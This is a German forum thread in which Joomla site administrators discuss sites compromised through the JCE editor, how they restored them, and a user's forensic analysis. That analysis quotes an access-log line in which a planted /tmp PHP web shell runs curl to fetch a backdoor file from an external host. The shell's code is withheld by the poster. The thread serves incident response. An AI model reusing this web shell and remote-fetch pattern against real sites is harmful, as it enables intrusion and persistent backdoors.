Neues Sicherheitsrelease für JCE-Editor

  • Kam in diesem Moment per Mail.

  • Von 6 Seiten waren 3 betroffen.

    Jeder der betroffenen war unterschiedlich.

    1. Seite lief ohne Fehler. War noch sehr wenig betroffen und angelegt. Man sieht es am Datum.
    2. Fehler 500 , einige Dateien angelegt und modifiziert.
    3. Seite lief nicht mehr. Dateien fehlten wie die Index.php oder configuration usw.

    Alle Seite mit Datenbank und Inhalt komplett gelöscht und mit akeeba von Anfang Mai zurückgespielt.


    Die anderen 3 Seiten sind unter Beobachtung .


    Es gibt leider kein einheitliches Schema der betroffenen Seiten.

  • Variante 1 mit gut getarnten Backdoors, augenscheinlich erst mal alles okay, ist die problematischste. Da wird dann später zugeschlagen, wenn das Thema nach der Update Welle längst aus dem Fokus geraten ist.

    Wenn die Seite abschmiert, ist das mehr oder weniger ein gescheiterter Hack und die "hilfreichste" Variante.

  • Bei 2 Seiten wurden ein zusätzlicher Ordner angelegt mit einer Index.php drin.

    Irgendwas mit th ?

    Ich habe die Seiten nach den betroffenen Datum gesucht . Da ich wusste das ich an den Seiten 2 Monate nicht dran war , war es einfach. Danach habe ich sie mit der originale Größe verglichen und siehe da, anderer Scriptinhalt.

  • Bei 2 Seiten wurden ein zusätzlicher Ordner angelegt mit einer Index.php drin.

    Irgendwas mit th ?

    Ich habe die Seiten nach den betroffenen Datum gesucht . Da ich wusste das ich an den Seiten 2 Monate nicht dran war , war es einfach. Danach habe ich sie mit der originale Größe verglichen und siehe da, anderer Scriptinhalt.

    Im Image-Ordner?

  • Wir prüfen gerade den Einsatz von dem Schutztool "HTProtect", welches von Pascal angeboten wird. Das sieht richtig gut aus und schützt auch vor den aktuellen Astroid und JCE Hacks. Ich weiss es gibt auch andere "Firewall"-Tools, aber das HTProtect ist schlank, wird extrem schnell weiterentwickelt. Allein gestern gab es mehrere Updates/Anpassungen, nur aufgrund meiner Kommunikation mit Pascal.

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    Joomla .htaccess absichern mit HTProtect - kostenlose Komponente: PHP-Schutz, Backend-Passwort, Exploit-Schild. Schnellstart in 3 Klicks, Joomla 2.5-6.
    website-bereinigung.de
  • Interessant:

    Bei einer betroffenen Seite wurde unter /tmp eine Datei angelegt: "nx74554.php"
    mit dem Inhalt:

    bitte keine hackvorlage posten

    Eine Datei "signal.php" wurde per "nx74554.php" auf den Server abgelegt:

    GET /tmp/nx74554.php?cmd=curl%20-o%20signal.php%20https://667fbcd5.rundenbakdem.pages.dev/run.txt HTTP/1.1" 200

    Die signal.php hat zu Beginn einen Kommentarblock, der beinhaltet:
    * Plugin Name: WooCommeerce
    (falsch geschrieben)

    Die Datei selbst hat mit WordPress oder WooCommerce nichts zu tun, scheint stattdessen eine grafische Oberfläche bereitzustellen, mit der man Dateien am Webserver bearbeiten kann inklusive Terminal. Eine Backdoor-Anwendung also.

    Im Verzeichnis /layouts/joomla/error wurde eine Kopie der signal.php angelegt mit Namen "routes.php"

    Anschließend wurde die htaccess-Datei bearbeitet und unterhalb von "## These directives are only enabled if the Apache mod_rewrite module is enabled", folgende Zeilen eingefügt:

    .. entfernt ..

    Kurioserweise verhindert dies den direkten Zugriff auf die genannten Dateitypen, wenn der angefragte Pfad NICHT /index.php ist. Allerdings nur im Root-Verzeichnis und in den angeführten Unterverzeichnissen: tmp|administrator/tmp|cache|logs|images|media|uploads.

    ABER der Zugriff auf die "routes.php" im Verzeichnis /layouts/joomla/error ist weiterhin möglich.

    Dadurch soll vermutlich verhindert werden, dass weitere Hacks, die auf dem JCE Wahnsinn beruhen, die Seite lahmlegen, womit es sofort auffallen würde, dass etwas nicht stimmt.

  • Da wünscht man sich die Zeit von HTML Seiten zurück. Die waren wenigstens sicher. Nur die Pflege war etwas umständlicher. Die Hackangriffe nerven mich wie sonst was. Ich beneide die Leute nicht , die mehr als 20 Seiten betreuen. Für die ist das Volltagsjob. Von den Konkurrenten z.b. WordPress usw. hört man kaum was.

  • Die Hackangriffe nerven mich wie sonst was. Ich beneide die Leute nicht , die mehr als 20 Seiten betreuen. Für die ist das Volltagsjob. Von den Konkurrenten z.b. WordPress usw. hört man kaum was.

    Genau deshalb haben wir viele User, die von WordPress, Drupal usw. zu Joomla gewechselt sind. Das sind nämlich User, die auf ein CMS bauen, was in Punkto Sicherheit weit vorne liegt. Auch das ist im www nachlesbar. Solltest du mal googeln. Im Übrigen, sind es in der Regel Drittanbietererweiterungen die diese Lücken verursachen. Es steht dir frei in deinen Joomla Webseiten keine davon zu verwenden.